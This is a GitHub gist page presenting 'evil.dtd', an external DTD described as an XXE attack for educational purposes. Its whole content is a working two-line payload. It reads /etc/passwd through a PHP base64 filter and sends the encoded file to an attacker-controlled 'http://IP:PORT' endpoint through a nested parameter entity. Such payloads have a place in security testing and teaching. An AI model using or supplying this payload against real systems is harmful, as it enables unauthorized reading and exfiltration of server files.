Skip to content

Instantly share code, notes, and snippets.

@mamad-1999

mamad-1999/evil.dtd

Created December 14, 2024 08:06
Show Gist options
  • Save mamad-1999/99a4e87642cc5a151cf138e9c03ffc00 to your computer and use it in GitHub Desktop.
Save mamad-1999/99a4e87642cc5a151cf138e9c03ffc00 to your computer and use it in GitHub Desktop.
Download ZIP
External dtd XXE attack (educational purposes)
Raw
evil.dtd
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://IP:PORT/?p=%file;'>" >
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment